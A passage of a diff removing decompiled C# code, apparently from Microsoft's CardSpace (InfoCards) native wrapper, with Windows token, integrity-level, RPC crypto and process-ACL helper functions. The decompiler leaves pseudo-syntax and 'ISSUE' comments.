Win32Exception(folderPathW); - return new string((char*) &arrayTypeBy0BaeG); - } - - public static unsafe WindowsIdentity CreateServiceExecutionIdentity( - Process callingProcess) - { - WindowsIdentity identity = (WindowsIdentity) null; - void* voidPtr = (void*) 0; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - if (\u003CModule\u003E.OpenProcessToken(callingProcess.Handle.ToPointer(), 14U, &voidPtr) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - try - { - identity = new WindowsIdentity(new IntPtr(voidPtr)); - if (NativeMcppMethods.IsLowIntegrityIdentity(identity)) - identity = NativeMcppMethods.CreateMediumIntegrityIdentity(identity); - } - finally - { - \u003CModule\u003E.CloseHandle(voidPtr); - } - } - return identity; - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool IsTokenValid(Process callingProcess) - { - void* voidPtr = (void*) 0; - if (\u003CModule\u003E.OpenProcessToken(callingProcess.Handle.ToPointer(), 14U, &voidPtr) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - try - { - _TOKEN_STATISTICS tokenStatistics; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref tokenStatistics = 0; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_TOKEN_STATISTICS&) ((IntPtr) &tokenStatistics + 4), 0, 52); - uint num1 = 0; - if (\u003CModule\u003E.GetTokenInformation(voidPtr, (_TOKEN_INFORMATION_CLASS) 10, (void*) &tokenStatistics, 56U, &num1) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - _SECURITY_LOGON_SESSION_DATA* logonSessionDataPtr = (_SECURITY_LOGON_SESSION_DATA*) 0; - if (0 != \u003CModule\u003E.LsaGetLogonSessionData((_LUID*) ((IntPtr) &tokenStatistics + 8), &logonSessionDataPtr)) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - uint num2 = (uint) *(int*) ((IntPtr) logonSessionDataPtr + 36); - \u003CModule\u003E.LsaFreeReturnBuffer((void*) logonSessionDataPtr); - return 9U != num2; - } - finally - { - \u003CModule\u003E.CloseHandle(voidPtr); - } - } - - public static unsafe uint CreateProcessAsTrustedUserWrapper( - string application, - string commandLine, - uint userProcessPid, - string pDesktop, - string pUserName, - uint userSessionId, - ref IntPtr trustedUserToken, - ref IntPtr processHandle, - ref int pid, - IntPtr jobHandle, - ref string trustedUserSid, - [MarshalAs(UnmanagedType.U1)] bool fElevateToken) - { - uint trustedUserWrapper = 0; - IntPtr hglobal1 = IntPtr.Zero; - IntPtr hglobal2 = IntPtr.Zero; - IntPtr hglobal3 = IntPtr.Zero; - IntPtr hglobal4 = IntPtr.Zero; - IntPtr hglobal5 = IntPtr.Zero; - void* voidPtr1 = (void*) 0; - void* voidPtr2 = (void*) 0; - try - { - hglobal1 = Marshal.StringToHGlobalUni(application); - hglobal2 = Marshal.StringToHGlobalUni(commandLine); - hglobal3 = Marshal.StringToHGlobalUni(pDesktop); - hglobal4 = Marshal.StringToHGlobalUni(pUserName); - uint num1 = 0; - void* voidPtr3 = (void*) 0; - void* hCurrentToken = (void*) 0; - void* voidPtr4 = (void*) 0; - if (IntPtr.Zero != trustedUserToken) - hCurrentToken = trustedUserToken.ToPointer(); - if (IntPtr.Zero != jobHandle) - voidPtr4 = jobHandle.ToPointer(); - if (!string.IsNullOrEmpty(trustedUserSid)) - { - hglobal5 = Marshal.StringToHGlobalUni(trustedUserSid); - if (0 == \u003CModule\u003E.ConvertStringSidToSidW((ushort*) hglobal5.ToPointer(), &voidPtr1)) - trustedUserWrapper = \u003CModule\u003E.GetLastError(); - } - if (fElevateToken) - { - voidPtr2 = NativeMcppMethods.CreateHighIntegrityToken(hCurrentToken); - \u003CModule\u003E.AssertInternal((IntPtr) voidPtr2 != IntPtr.Zero, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1BO\u0040IGNPGJKB\u0040\u003F\u0024AAh\u003F\u0024AAE\u003F\u0024AAl\u003F\u0024AAe\u003F\u0024AAv\u003F\u0024AAa\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAd\u003F\u0024AAT\u003F\u0024AAo\u003F\u0024AAk\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AA\u003F\u0024AA\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 722, false); - } - if (0U == trustedUserWrapper) - { - void** voidPtr5 = (IntPtr) voidPtr2 == IntPtr.Zero ? &hCurrentToken : &voidPtr2; - trustedUserWrapper = \u003CModule\u003E.CreateProcessAsTrustedUser((ushort*) hglobal1.ToPointer(), (ushort*) hglobal2.ToPointer(), userProcessPid, (ushort*) hglobal3.ToPointer(), (ushort*) hglobal4.ToPointer(), userSessionId, voidPtr5, &voidPtr3, &num1, voidPtr4, &voidPtr1); - if (0U == trustedUserWrapper) - { - IntPtr num2 = new IntPtr(voidPtr3); - processHandle = num2; - IntPtr num3 = new IntPtr(hCurrentToken); - trustedUserToken = num3; - pid = (int) num1; - } - } - } - finally - { - if (IntPtr.Zero != hglobal1) - { - Marshal.FreeHGlobal(hglobal1); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal2) - { - Marshal.FreeHGlobal(hglobal2); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal3) - { - Marshal.FreeHGlobal(hglobal3); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal4) - { - Marshal.FreeHGlobal(hglobal4); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal5) - { - Marshal.FreeHGlobal(hglobal5); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != (IntPtr) voidPtr1) - { - ushort* numPtr = (ushort*) 0; - if (string.IsNullOrEmpty(trustedUserSid) && \u003CModule\u003E.ConvertSidToStringSidW(voidPtr1, &numPtr) != 0) - { - IntPtr ptr = new IntPtr((void*) numPtr); - trustedUserSid = Marshal.PtrToStringUni(ptr); - } - \u003CModule\u003E.LocalFree(voidPtr1); - } - if (IntPtr.Zero != (IntPtr) voidPtr2) - \u003CModule\u003E.CloseHandle(voidPtr2); - } - return trustedUserWrapper; - } - - public static unsafe uint CreateJobObjectWithSD(ref IntPtr jobHandle, string trustedUserSid) - { - uint jobObjectWithSd = 0; - IntPtr hglobal = IntPtr.Zero; - void* voidPtr1 = (void*) 0; - void* voidPtr2 = (void*) 0; - try - { - if (!string.IsNullOrEmpty(trustedUserSid)) - { - hglobal = Marshal.StringToHGlobalUni(trustedUserSid); - if (0 == \u003CModule\u003E.ConvertStringSidToSidW((ushort*) hglobal.ToPointer(), &voidPtr1)) - { - jobObjectWithSd = \u003CModule\u003E.GetLastError(); - if (0U != jobObjectWithSd) - goto label_11; - } - } - jobObjectWithSd = \u003CModule\u003E.CreateJobObjectHelper(&voidPtr2, voidPtr1); - if (0U == jobObjectWithSd) - { - IntPtr num = new IntPtr(voidPtr2); - jobHandle = num; - } - } - finally - { - if (IntPtr.Zero != hglobal) - { - Marshal.FreeHGlobal(hglobal); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != (IntPtr) voidPtr1) - \u003CModule\u003E.LocalFree(voidPtr1); - } -label_11: - return jobObjectWithSd; - } - - public static unsafe IntPtr RpcCryptoOpen(string portName) - { - string s = (string) null; - IntPtr hglobal1 = IntPtr.Zero; - IntPtr hglobal2 = IntPtr.Zero; - void* voidPtr = (void*) 0; - ushort* numPtr = (ushort*) 0; - try - { - hglobal1 = Marshal.StringToHGlobalUni(portName); - int error1 = \u003CModule\u003E.RpcStringBindingComposeW((ushort*) 0, \u003CModule\u003E.g_lrpcProtocolSequence, (ushort*) 0, (ushort*) hglobal1.ToPointer(), (ushort*) 0, &numPtr); - if (0 != error1) - throw new Win32Exception(error1); - int error2 = \u003CModule\u003E.RpcBindingFromStringBindingW(numPtr, &voidPtr); - if (0 != error2) - throw new Win32Exception(error2); - hglobal2 = Marshal.StringToHGlobalUni(s); - int error3 = \u003CModule\u003E.RpcBindingSetAuthInfoW(voidPtr, (ushort*) 0, 6U, 10U, (void*) 0, 0U); - if (0 != error3) - throw new Win32Exception(error3); - return new IntPtr(voidPtr); - } - catch (SEHException ex) - { - throw new Win32Exception(-2147467259); - } - finally - { - if (IntPtr.Zero != (IntPtr) numPtr) - \u003CModule\u003E.RpcStringFreeW(&numPtr); - if (IntPtr.Zero != hglobal1) - { - Marshal.FreeHGlobal(hglobal1); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal2) - Marshal.FreeHGlobal(hglobal2); - } - } - - public static unsafe void RpcCryptoClose(IntPtr hIdl, string contextKey) - { - IntPtr hglobal = IntPtr.Zero; - try - { - hglobal = Marshal.StringToHGlobalUni(contextKey); - \u003CModule\u003E.RpcCryptoCloseContext(hIdl.ToPointer(), (ushort*) hglobal.ToPointer()); - \u003CModule\u003E.RpcBindingFree(&hIdl.ToPointer()); - } - catch (SEHException ex) - { - throw new Win32Exception(-2147467259); - } - finally - { - if (IntPtr.Zero != hglobal) - { - Marshal.FreeHGlobal(hglobal); - IntPtr zero = IntPtr.Zero; - } - } - } - - public static unsafe byte[] RpcCryptoDispatchRequest( - IntPtr hIdl, - string contextKey, - string requestName, - byte[] buffer, - int index, - int length) - { - IntPtr hglobal1 = IntPtr.Zero; - IntPtr hglobal2 = IntPtr.Zero; - IntPtr hglobal3 = IntPtr.Zero; - _RPC_REQUEST rpcRequest; - // ISSUE: initblk instruction - __memset(ref rpcRequest, 0, 12); - _RPC_RESPONSE* rpcResponsePtr1 = (_RPC_RESPONSE*) 0; - try - { - hglobal2 = Marshal.StringToHGlobalUni(contextKey); - hglobal1 = Marshal.StringToHGlobalUni(requestName); - IntPtr destination1 = Marshal.AllocHGlobal(length); - hglobal3 = destination1; - Marshal.Copy(buffer, 0, destination1, length); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &rpcRequest + 8) = (int) hglobal3.ToPointer(); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &rpcRequest + 4) = length; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref rpcRequest = (int) hglobal1.ToPointer(); - int error = \u003CModule\u003E.RpcCryptoDispatchRequest(hIdl.ToPointer(), (ushort*) hglobal2.ToPointer(), &rpcRequest, &rpcResponsePtr1); - if (error < 0) - throw new Win32Exception(error); - if (IntPtr.Zero == (IntPtr) rpcResponsePtr1) - throw new Win32Exception(87); - int length1 = *(int*) rpcResponsePtr1; - byte[] destination2 = new byte[length1]; - _RPC_RESPONSE* rpcResponsePtr2 = (_RPC_RESPONSE*) ((IntPtr) rpcResponsePtr1 + 4); - if (*(int*) rpcResponsePtr2 != 0) - Marshal.Copy(new IntPtr((void*) *(int*) rpcResponsePtr2), destination2, 0, *(int*) rpcResponsePtr1); - else if (length1 > 0) - throw new Win32Exception(87); - return destination2; - } - catch (SEHException ex) - { - throw new Win32Exception(-2147467259); - } - finally - { - if (IntPtr.Zero != hglobal2) - { - Marshal.FreeHGlobal(hglobal2); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal1) - { - Marshal.FreeHGlobal(hglobal1); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal3) - { - Marshal.FreeHGlobal(hglobal3); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != (IntPtr) rpcResponsePtr1) - { - _RPC_RESPONSE* rpcResponsePtr3 = (_RPC_RESPONSE*) ((IntPtr) rpcResponsePtr1 + 4); - if (*(int*) rpcResponsePtr3 != 0) - \u003CModule\u003E.MIDL_user_free((void*) *(int*) rpcResponsePtr3); - \u003CModule\u003E.MIDL_user_free((void*) rpcResponsePtr1); - } - } - } - - public static unsafe int CryptAlgIdFromOid(string strOid) - { - if (string.IsNullOrEmpty(strOid)) - return 32772; - string s = CryptoConfig.MapNameToOID(strOid); - if (string.IsNullOrEmpty(s)) - s = strOid; - IntPtr hglobalAnsi = Marshal.StringToHGlobalAnsi(s); - try - { - _CRYPT_OID_INFO* oidInfo = \u003CModule\u003E.CryptFindOIDInfo(1U, hglobalAnsi.ToPointer(), 0U); - if (IntPtr.Zero == (IntPtr) oidInfo) - throw new Win32Exception(-2147467259); - return *(int*) ((IntPtr) oidInfo + 16); - } - finally - { - if (IntPtr.Zero != hglobalAnsi) - Marshal.FreeHGlobal(hglobalAnsi); - } - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool GetHighAssuranceFlags(IntPtr pcertchaincontext, ref int haFlags) - { - uint num = 0; - haFlags = 0; - byte highAssuranceFlags; - if (!(IntPtr.Zero == pcertchaincontext) && \u003CModule\u003E.SetHighAssuranceFlags((_CERT_CHAIN_CONTEXT*) pcertchaincontext.ToPointer(), &num) != 0) - { - haFlags = (int) num; - highAssuranceFlags = (byte) 1; - } - else - highAssuranceFlags = (byte) 0; - return (bool) highAssuranceFlags; - } - - public static unsafe int VerifyTrust(string fileName) - { - IntPtr hglobal = IntPtr.Zero; - try - { - hglobal = Marshal.StringToHGlobalUni(fileName); - return (int) \u003CModule\u003E.VerifyTrust((ushort*) hglobal.ToPointer()); - } - finally - { - if (IntPtr.Zero != hglobal) - { - Marshal.FreeHGlobal(hglobal); - IntPtr zero = IntPtr.Zero; - } - } - } - - public static unsafe void CheckSIDAgainstCurrentRpcUser(string strSid) - { - IntPtr hglobal = IntPtr.Zero; - void* voidPtr = (void*) 0; - int num1 = 0; - int num2 = 0; - try - { - hglobal = Marshal.StringToHGlobalUni(strSid); - if (\u003CModule\u003E.ConvertStringSidToSidW((ushort*) hglobal.ToPointer(), &voidPtr) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (0 != \u003CModule\u003E.RpcImpersonateClient((void*) 0)) - throw new SecurityException(); - num2 = 1; - if (\u003CModule\u003E.CheckTokenMembership((void*) 0, voidPtr, &num1) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (num1 == 0) - throw new SecurityException(); - } - finally - { - if (num2 != 0 && \u003CModule\u003E.RevertToSelf() == 0) - throw new InvalidOperationException(); - if (IntPtr.Zero != hglobal) - { - Marshal.FreeHGlobal(hglobal); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != (IntPtr) voidPtr) - \u003CModule\u003E.LocalFree(voidPtr); - } - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool IsOsVistaOrGreater() - { - _OSVERSIONINFOW osversioninfow; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref osversioninfow = 276; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_OSVERSIONINFOW&) ((IntPtr) &osversioninfow + 4), 0, 272); - if (\u003CModule\u003E.GetVersionExW(&osversioninfow) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - return (uint) ^(int&) ((IntPtr) &osversioninfow + 4) >= 6U; - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool IsLowIntegrityIdentity(WindowsIdentity identity) - { - bool flag = false; - _OSVERSIONINFOW osversioninfow; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref osversioninfow = 276; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_OSVERSIONINFOW&) ((IntPtr) &osversioninfow + 4), 0, 272); - if (\u003CModule\u003E.GetVersionExW(&osversioninfow) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - if (((uint) ^(int&) ((IntPtr) &osversioninfow + 4) >= 6U ? 1 : 0) != 0) - { - _TOKEN_MANDATORY_LABEL* tokenMandatoryLabelPtr = (_TOKEN_MANDATORY_LABEL*) 0; - void* voidPtr = (void*) 0; - uint num1 = 0; - uint num2 = 0; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - try - { - if (\u003CModule\u003E.GetTokenInformation(identity.Token.ToPointer(), (_TOKEN_INFORMATION_CLASS) 25, (void*) 0, 0U, &num1) == 0) - { - uint lastError = \u003CModule\u003E.GetLastError(); - if (122U != lastError) - throw new Win32Exception((int) lastError); - tokenMandatoryLabelPtr = (_TOKEN_MANDATORY_LABEL*) \u003CModule\u003E.LocalAlloc(64U, num1); - if ((IntPtr) tokenMandatoryLabelPtr == IntPtr.Zero) - throw new OutOfMemoryException(); - } - if (\u003CModule\u003E.GetTokenInformation(identity.Token.ToPointer(), (_TOKEN_INFORMATION_CLASS) 25, (void*) tokenMandatoryLabelPtr, num1, &num1) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 66, (void*) 0, (void*) 0, &num2) == 0) - { - uint lastError = \u003CModule\u003E.GetLastError(); - if (122U != lastError) - throw new Win32Exception((int) lastError); - voidPtr = \u003CModule\u003E.LocalAlloc(64U, num2); - if ((IntPtr) voidPtr == IntPtr.Zero) - throw new OutOfMemoryException(); - } - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 66, (void*) 0, voidPtr, &num2) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (\u003CModule\u003E.EqualSid(voidPtr, (void*) *(int*) tokenMandatoryLabelPtr) != 0) - flag = true; - } - finally - { - if ((IntPtr) voidPtr != IntPtr.Zero) - \u003CModule\u003E.LocalFree(voidPtr); - if ((IntPtr) tokenMandatoryLabelPtr != IntPtr.Zero) - \u003CModule\u003E.LocalFree((void*) tokenMandatoryLabelPtr); - } - } - } - return flag; - } - - public static unsafe WindowsIdentity CreateMediumIntegrityIdentity( - WindowsIdentity identity) - { - WindowsIdentity integrityIdentity = (WindowsIdentity) null; - _OSVERSIONINFOW osversioninfow; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref osversioninfow = 276; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_OSVERSIONINFOW&) ((IntPtr) &osversioninfow + 4), 0, 272); - if (\u003CModule\u003E.GetVersionExW(&osversioninfow) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - if (((uint) ^(int&) ((IntPtr) &osversioninfow + 4) >= 6U ? 1 : 0) == 0) - throw new InvalidOperationException(); - void* voidPtr = (void*) 0; - _TOKEN_MANDATORY_LABEL* tokenMandatoryLabelPtr1 = (_TOKEN_MANDATORY_LABEL*) 0; - uint num1 = 0; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - try - { - if (\u003CModule\u003E.DuplicateTokenEx(identity.Token.ToPointer(), 142U, (_SECURITY_ATTRIBUTES*) 0, (_SECURITY_IMPERSONATION_LEVEL) 2, (_TOKEN_TYPE) 2, &voidPtr) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 67, (void*) 0, (void*) 0, &num1) == 0) - { - uint lastError = \u003CModule\u003E.GetLastError(); - if (122U != lastError) - throw new Win32Exception((int) lastError); - } - uint num2 = num1 + 8U; - tokenMandatoryLabelPtr1 = (_TOKEN_MANDATORY_LABEL*) \u003CModule\u003E.LocalAlloc(64U, num2); - if ((IntPtr) tokenMandatoryLabelPtr1 == IntPtr.Zero) - throw new OutOfMemoryException(); - _TOKEN_MANDATORY_LABEL* tokenMandatoryLabelPtr2 = (_TOKEN_MANDATORY_LABEL*) ((IntPtr) tokenMandatoryLabelPtr1 + 8); - *(int*) tokenMandatoryLabelPtr1 = (int) tokenMandatoryLabelPtr2; - *(int*) ((IntPtr) tokenMandatoryLabelPtr1 + 4) = 96; - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 67, (void*) 0, (void*) tokenMandatoryLabelPtr2, &num1) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (\u003CModule\u003E.SetTokenInformation(voidPtr, (_TOKEN_INFORMATION_CLASS) 25, (void*) tokenMandatoryLabelPtr1, num2) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - integrityIdentity = new WindowsIdentity(new IntPtr(voidPtr)); - } - finally - { - if ((IntPtr) voidPtr != IntPtr.Zero) - \u003CModule\u003E.CloseHandle(voidPtr); - if ((IntPtr) tokenMandatoryLabelPtr1 != IntPtr.Zero) - \u003CModule\u003E.LocalFree((void*) tokenMandatoryLabelPtr1); - } - } - return integrityIdentity; - } - - public static unsafe void* CreateHighIntegrityToken(void* hCurrentToken) - { - _OSVERSIONINFOW osversioninfow; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref osversioninfow = 276; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_OSVERSIONINFOW&) ((IntPtr) &osversioninfow + 4), 0, 272); - if (\u003CModule\u003E.GetVersionExW(&osversioninfow) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - if (((uint) ^(int&) ((IntPtr) &osversioninfow + 4) >= 6U ? 1 : 0) == 0) - throw new InvalidOperationException(); - void* highIntegrityToken = (void*) 0; - _TOKEN_MANDATORY_LABEL* tokenMandatoryLabelPtr1 = (_TOKEN_MANDATORY_LABEL*) 0; - uint num1 = 0; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - try - { - if (\u003CModule\u003E.DuplicateTokenEx(hCurrentToken, 139U, (_SECURITY_ATTRIBUTES*) 0, (_SECURITY_IMPERSONATION_LEVEL) 2, (_TOKEN_TYPE) 1, &highIntegrityToken) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 68, (void*) 0, (void*) 0, &num1) == 0) - { - uint lastError = \u003CModule\u003E.GetLastError(); - if (122U != lastError) - throw new Win32Exception((int) lastError); - } - uint num2 = num1 + 8U; - tokenMandatoryLabelPtr1 = (_TOKEN_MANDATORY_LABEL*) \u003CModule\u003E.LocalAlloc(64U, num2); - if ((IntPtr) tokenMandatoryLabelPtr1 == IntPtr.Zero) - throw new OutOfMemoryException(); - _TOKEN_MANDATORY_LABEL* tokenMandatoryLabelPtr2 = (_TOKEN_MANDATORY_LABEL*) ((IntPtr) tokenMandatoryLabelPtr1 + 8); - *(int*) tokenMandatoryLabelPtr1 = (int) tokenMandatoryLabelPtr2; - *(int*) ((IntPtr) tokenMandatoryLabelPtr1 + 4) = 96; - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 68, (void*) 0, (void*) tokenMandatoryLabelPtr2, &num1) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (\u003CModule\u003E.SetTokenInformation(highIntegrityToken, (_TOKEN_INFORMATION_CLASS) 25, (void*) tokenMandatoryLabelPtr1, num2) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - } - finally - { - if ((IntPtr) tokenMandatoryLabelPtr1 != IntPtr.Zero) - \u003CModule\u003E.LocalFree((void*) tokenMandatoryLabelPtr1); - } - } - return highIntegrityToken; - } - - public static unsafe void AdjustServiceProcessSecurity() - { - void* voidPtr = (void*) 0; - _ACL* aclPtr1 = (_ACL*) 0; - _ACL* aclPtr2 = (_ACL*) 0; - uint num = 68; - _EXPLICIT_ACCESS_W explicitAccessW; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref explicitAccessW = 0; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_EXPLICIT_ACCESS_W&) ((IntPtr) &explicitAccessW + 4), 0, 28); - try - { - uint securityInfo = \u003CModule\u003E.GetSecurityInfo(\u003CModule\u003E.GetCurrentProcess(), (_SE_OBJECT_TYPE) 6, 4U, (void**) 0, (void**) 0, &aclPtr1, (_ACL**) 0, &voidPtr); - if (0U != securityInfo) - throw new Win32Exception((int) securityInfo); - \u0024ArrayType\u0024\u0024\u0024BY0BB\u0040K arrayTypeBy0BbK; - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 11, (void*) 0, (void*) &arrayTypeBy0BbK, &num) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref explicitAccessW = 1048576; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 4) = 1; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 20) = 0; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 24) = 5; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 28) = (int) &arrayTypeBy0BbK; - uint error1 = \u003CModule\u003E.SetEntriesInAclW(1U, &explicitAccessW, aclPtr1, &aclPtr2); - if (0U != error1) - throw new Win32Exception((int) error1); - uint error2 = \u003CModule\u003E.SetSecurityInfo(\u003CModule\u003E.GetCurrentProcess(), (_SE_OBJECT_TYPE) 6, 4U, (void*) 0, (void*) 0, aclPtr2, (_ACL*) 0); - if (0U != error2) - throw new Win32Exception((int) error2); - } - finally - { - if (IntPtr.Zero != (IntPtr) aclPtr2) - \u003CModule\u003E.LocalFree((void*) aclPtr2); - if (IntPtr.Zero != (IntPtr) voidPtr) - \u003CModule\u003E.LocalFree(voidPtr); - } - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool IsCardSpaceTcserverInstance(int pid, string trustedUserSid) - { - bool flag = false; - void* voidPtr1 = (void*) 0; - void* voidPtr2 = (void*) 0; - ushort* numPtr = (ushort*) 0; - IntPtr hglobal = IntPtr.Zero; - try - { - voidPtr1 = \u003CModule\u003E.OpenProcess(1024U, 0, (uint) pid); - if (IntPtr.Zero != (IntPtr) voidPtr1) - { - if (\u003CModule\u003E.OpenProcessToken(voidPtr1, 8U, &voidPtr2) != 0) - { - \u0024ArrayType\u0024\u0024\u0024BY0EE\u0040E arrayTypeBy0EeE; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(sbyte&) ref arrayTypeBy0EeE = (sbyte) 0; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((\u0024ArrayType\u0024\u0024\u0024BY0EE\u0040E&) ((IntPtr) &arrayTypeBy0EeE + 1), 0, 67); - uint num = 0; - if (\u003CModule\u003E.GetTokenInformation(voidPtr2, (_TOKEN_INFORMATION_CLASS) 4, (void*) &arrayTypeBy0EeE, 68U, &num) != 0) - { - _TOKEN_OWNER* tokenOwnerPtr = (_TOKEN_OWNER*) &arrayTypeBy0EeE; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - if (\u003CModule\u003E.ConvertSidToStringSidW((void*) ^(int&) ref arrayTypeBy0EeE, &numPtr) != 0) - { - hglobal = Marshal.StringToHGlobalUni(trustedUserSid); - flag = 0 == \u003CModule\u003E._wcsnicmp((ushort*) hglobal.ToPointer(), numPtr, 68U); - } - } - } - } - } - finally - { - if (IntPtr.Zero != (IntPtr) numPtr) - \u003CModule\u003E.LocalFree((void*) numPtr); - if (IntPtr.Zero != (IntPtr) voidPtr2) - \u003CModule\u003E.CloseHandle(voidPtr2); - if (IntPtr.Zero != (IntPtr) voidPtr1) - \u003CModule\u003E.CloseHandle(voidPtr1); - if (IntPtr.Zero != hglobal) - Marshal.FreeHGlobal(hglobal); - } - return flag; - } - - public static unsafe void AddSystemAccessToProcess(IntPtr RpcHandle, uint callerPid) - { - bool flag = false; - void* voidPtr1 = (void*) 0; - _ACL* aclPtr1 = (_ACL*) 0; - _ACL* aclPtr2 = (_ACL*) 0; - void* voidPtr2 = (void*) 0; - _EXPLICIT_ACCESS_W explicitAccessW; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref explicitAccessW = 0; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_EXPLICIT_ACCESS_W&) ((IntPtr) &explicitAccessW + 4), 0, 28); - \u0024ArrayType\u0024\u0024\u0024BY0EE\u0040E arrayTypeBy0EeE; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(sbyte&) ref arrayTypeBy0EeE = (sbyte) 0; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((\u0024ArrayType\u0024\u0024\u0024BY0EE\u0040E&) ((IntPtr) &arrayTypeBy0EeE + 1), 0, 67); - uint num = 68; - try - { - uint error1 = (uint) \u003CModule\u003E.RpcImpersonateClient(RpcHandle.ToPointer()); - if (0U != error1) - throw new Win32Exception((int) error1); - flag = true; - voidPtr1 = \u003CModule\u003E.OpenProcess(393216U, 0, callerPid); - if (IntPtr.Zero == (IntPtr) voidPtr1) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - uint securityInfo = \u003CModule\u003E.GetSecurityInfo(voidPtr1, (_SE_OBJECT_TYPE) 6, 4U, (void**) 0, (void**) 0, &aclPtr1, (_ACL**) 0, &voidPtr2); - if (0U != securityInfo) - throw new Win32Exception((int) securityInfo); - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 22, (void*) 0, (void*) &arrayTypeBy0EeE, &num) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) 